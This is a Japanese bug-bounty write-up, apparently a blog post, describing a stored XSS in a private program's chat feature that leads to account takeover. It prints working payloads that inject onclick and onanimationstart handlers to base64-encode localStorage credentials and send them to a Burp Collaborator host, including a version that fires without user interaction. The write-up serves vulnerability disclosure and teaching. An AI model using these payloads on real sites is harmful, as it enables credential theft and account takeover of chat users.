Hello there, ('ω')ノ
重要なアカウントの乗っ取りを取得するためにXSSを自動的にトリガする方法を。
脆弱性:
保存されたXSS
記事:
今回は、XSSは保存されており、チャットを介して任意のユーザに送信して。
資格情報を盗むことができるため、影響は重大で。
REDACTED.comと呼ぶこのプライベートプログラムには。
プラットフォーム上のすべてのユーザと通信するためのチャットがあって。
この機能を分析すると、Javascriptが送信したURLを解析していることがわかって。
https://google.comを送信した場合、チャットはテキストを解析し。
URLを「a」htmlタグのリンクとして配置して。
なので、送信した最初の悪意のあるペイロードは次のとおりで。
そして、HTMLがどのように壊れているかを確認できて。
これを知って、新しいタグを追加しようとしましたが。
残念ながら、htmlタグのフィルタがたくさんあったので。
しばらくしてタグを追加しようとして成功しなかった後。
「a」タグに属性を追加し始めて。
これにより、タグのコンテキストでJavascriptを実行できるようになって。
この部分では問題はなく、onclick=alert(1) を正常に挿入して。
下記は、ペイロードを持つ属性で。
https://google.com" onclick="alert('1')" a="
結果として、次の最終タグがあって。
<a href="https://google.com" onclick="alert(1)" a="">
そして、被害者がリンクをクリックすると、ポップアップアラートが表示されて。
重要な情報:
ユーザの資格情報は、localStorageに保存されて。
攻撃者は、次のjavascriptペイロードを使用してそれらを盗むことができて。
https://google.com" onclick="b=JSON.stringify(localStorage);c=btoa(b);i=new/**/Image;i.src='https://burpcollaborator.burpcollaborator.net?t='+c" a="
上記のペイロードを説明するために、JavaScriptはbase64で。
localStorage情報をエンコードし。
その後、攻撃者のBurpコラボレータに送信して。
現時点では、ユーザの操作を除いて任意のアカウントを引き継ぐことができるため。
重大度の高い脆弱性があって。
重大な脆弱性が必要だったので、Javascriptペイロードを。
自動的にトリガする方法を研究し始めて。
しばらくして、PortSwiggerのクロスサイトスクリプティングチートシートを。
使用した完璧なソリューションを見つけて。
次のペイロードは、ユーザの操作なしですべてのブラウザで。
機能することがわかって。
しかし、大きな問題は、「style」タグでアニメーションを作成するために。
新しいHTMLタグを挿入できないことで。
この問題をどのように解決したかというと。
REDACTED CSSで定義されているアニメーションを1つだけ。
見つける必要があったので。
サイトにロードされている各CSSファイルを開いて、見つけることができて。
下記が編集したCSSで。
そして、エクスプロイトを準備する必要があったので。
https://google.com"onanimationstart="b=JSON.stringify(localStorage);c=btoa(b);i=new/**/Image;i.src=’https://burpcollaborator.burpcollaborator.net?t='+c"style="animation-name:Toastify__bounceOutRight
https://developer.mozilla.org/ja/docs/Web/CSS/animation-name
onanimationstart属性に悪意のあるjavascriptコードを配置して。
見つかったアニメーションをタグのスタイルで定義して。
したがって、攻撃者がチャットを介して悪意のあるメッセージを送信し。
被害者がそれを開くと、タグのスタイルが読み込まれ。
イベントは、onanimationstart属性に配置されたコードを実行し。
攻撃者は自動的にBurpコラボレータで被害者の資格情報を受け取って。
Best regards, (^^ゞ